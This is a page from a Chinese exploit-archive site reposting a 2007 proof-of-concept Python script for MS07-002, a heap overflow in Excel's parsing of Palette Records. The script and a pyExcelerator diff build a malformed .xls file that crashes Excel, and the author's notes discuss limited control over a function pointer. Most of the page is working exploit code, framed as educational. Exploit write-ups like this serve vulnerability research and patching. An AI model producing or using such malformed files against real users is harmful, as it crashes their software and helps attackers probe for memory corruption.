首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Excel Malformed Palette Record DoS PoC (MS07-002)
来源:LifeAsaGeek at gmail.com 作者:LifeAsaGeek 发布时间:2007-01-26  

"""
MS07-002 EXCEL Malformed Palette Record Vulnerability DOS POC

######
Author
######
LifeAsaGeek at gmail.com
... and Microsoft said that vuln credit is for Greg MacManus of iDefense Labs

########################
Vulnerablity Description
########################
Bound error occurs when parsing Palette Record and it causes Heap Overflow
check out here - http://picasaweb.google.com/lifeasageek/MS07002/photo?pli=1#5022146178204021506
which is generated by DarunGrim
( and I want to say I'm not a person who made this analyzer ==; )

#############
Attack Vector
#############
Arbitary Data will be overwritten to the heap, but arbitary data is highly depends on the stack status !
Result of heap overflow, you can overwrite 2 bytes to restricted range address ( not anywhere )
In *CERTAIN* environment( such as open excel file which is already opened)
you can catch the flow by modify function pointer, but it doesn't have a reliablity at all
Let me know if you have a good method to break down

######
Result
######
DOS

#####
Notes
#####
You should modify pyExcelerator module because it doesn't generate Palette Record

pyExcelerator diff results would be like below

diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\BIFFRecords.py pyExcelerator\BIFFRecords.py
1104a1105,1108
> def __init__(self):
> BiffRecord.__init__(self)
> self._rec_data = pack('<H', 0x0038) # number of colours
> self._rec_data += 'A' * 0xe0
diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\Workbook.py pyExcelerator\Workbook.py
468,469c468
< result = ''
< return result
---
> return BIFFRecords.PaletteRecord().get()

!! THIS IS ONLY FOR EDUCATIONAL PURPOSE !!
- 2007.01.25
"""

import sys, os
from struct import *
from pyExcelerator import *

def CreateXLS():
w = Workbook()
ws = w.add_sheet('MS07-002 POC')
w.save( "before.xls")


def ModifyXLS():
try:
f = open( "before.xls", "rb")
except:
print "File Open Error ! "
sys.exit(0)

str = f.read()
f.close()

#write to malformed xls file
f = open( "after.xls", "wb")

PaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x0038)
NewPaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x01FF)

palette_idx = str.find( PaletteRecord)

if palette_idx == -1:
print "Cannot find Palette Record"
sys.exit(0)

str = str.replace( PaletteRecord, NewPaletteRecord)
f.write( str)
f.close()

if __name__ == "__main__":
print "==========================================================="
print "MS07-002 Malformed Palette Record vulnerability DOS POC "
print "Create POC Excel File after.xls"
print "by LifeAsaGeek at gmail.com"
print "==========================================================="
CreateXLS()
ModifyXLS()




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Xero Portal (phpbb_root_path)
·Forum Livre 1.0 (SQL Injection
·MS Windows Explorer (AVI) Unsp
·Aztek Forum 4.0 Multiple Vulne
·PA168 Chipset IP Phones Weak S
·Oracle <= 9i / 10g (read/wr
·Sami HTTP Server 2.0.1 (HTTP 4
·AT-TFTP <= 1.9 (Long Filena
·Mac OS X 10.4.8 (UserNotificat
·ProFTPD 1.3.0 (sreplace) Remot
·Vote-Pro 4.0 (poll_frame.php p
·PHP <= 4.4.4/5.1.6 htmlenti
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved